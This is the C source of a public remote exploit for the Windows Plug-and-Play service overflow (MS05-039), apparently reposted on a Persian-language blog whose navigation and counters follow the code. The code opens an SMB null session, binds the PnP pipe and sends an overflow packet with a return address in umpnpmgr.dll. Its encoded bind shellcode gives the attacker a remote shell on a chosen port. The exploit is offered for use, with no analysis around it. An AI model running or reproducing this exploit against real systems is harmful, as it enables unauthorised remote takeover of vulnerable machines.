"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";


unsigned char SMB_SessionSetupAndX[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


unsigned char SMB_SessionSetupAndX2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


unsigned char SMB_TreeConnectAndX[] =
"\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00";



unsigned char SMB_TreeConnectAndX_[] =
"\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";


/* browser */
unsigned char SMB_PipeRequest_browser[] =
"\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";


unsigned char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11"
"\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";



unsigned char RPC_call[] =
"\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00"
"\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00"
"\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00"
"\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"

/* jmp over - entry point */
"\xEB\x08\x90\x90"

/* pop reg; pop reg; retn; - umpnpmgr.dll */
"\x67\x15\x7a\x76" /* 0x767a1567 */

/* jmp ebx - umpnpmgr.dll
"\x6f\x36\x7a\x76" */

"\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\x4F\x44\x88\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


unsigned char RPC_call_end[] =
"\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00";


unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";

#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)


void
convert_name(char *out, char *name)
{
unsigned long len;

len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = "\x00";
*out-- = name[len];
}
}



int
main (int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
unsigned char tmp[1024];
unsigned char packet[4096];
unsigned char *ptr;
char recvbuf[4096];

#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif

printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow\n");
printf("\t Universal Exploit + no crash shellcode\n\n\n");
printf("\t Copyright (c) 2005 .: houseofdabus :.\n\n\n");


if (argc < 3) {
printf("%s <host> <bind port>\n", argv[0]);
exit(0);
}

if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
exit(0);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] socket failed\n");
exit(0);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), "\0", 8);



printf("\n[*] connecting to %s:445...", argv[1]);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed\n");
exit(0);
}
printf("ok\n");

printf("[*] null session...");
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;

sprintf(tmp, "\\\\%s\\IPC$", argv[1]);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;

smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);

if (send(sockfd, packet, ptr-packet, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

printf("ok\n");
printf("[*] bind pipe...");

if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

printf("ok\n");
printf("[*] sending crafted packet...");

// nop
ptr = packet;
memset(packet, "\x90", sizeof(packet));

// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;

// shellcode
bindport = (unsigned short)atoi(argv[2]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

// end of packet
memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);

// sending...
if (send(sockfd, packet, 2196, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
printf("ok\n");
printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2]));

recv(sockfd, recvbuf, 4096, 0);

return 0;
}


نظر شما( )
<   <<   21   22   23   24   25   >>   >

لیست کل یادداشت های این وبلاگ

چگونه کتابخوان تر شویم؟
دانستنی های کوتاه
دانــستـــنی هـای جـــــالـــــــب
جهان در صدسال
28جمله از دکتر حسابی
الماس های معروف دنیا
معنی گلها
انیشتن
راز شمع (( در درمان و ارزو ها))
یا ذهن می تواند آینده را پیش بینی نماید؟
موبایل ومغز
آیا می دانید
خودرو و رنگها
نامگذاری محلات قدیمی تهران
پرچمدار ارتباطات با دور
[همه عناوین(1944)]

بالا

  [ خانه| مدیریت| ایمیل من| پارسی بلاگ| شناسنامه ]

بازدید

278476

بازدید امروز

149

بازدید دیروز

103

حضور و غیاب
یــــاهـو


 RSS 


 درباره خودم


 لوگوی وبلاگ

شهرستان مهر*** انجمن مهندسان

 پیوندهای روزانه


 اوقات شرعی

 فهرست موضوعی یادداشت ها

 لینک دوستان

مهندسی مکانیک
بی تاب

لوگوی دوستان




اشتراک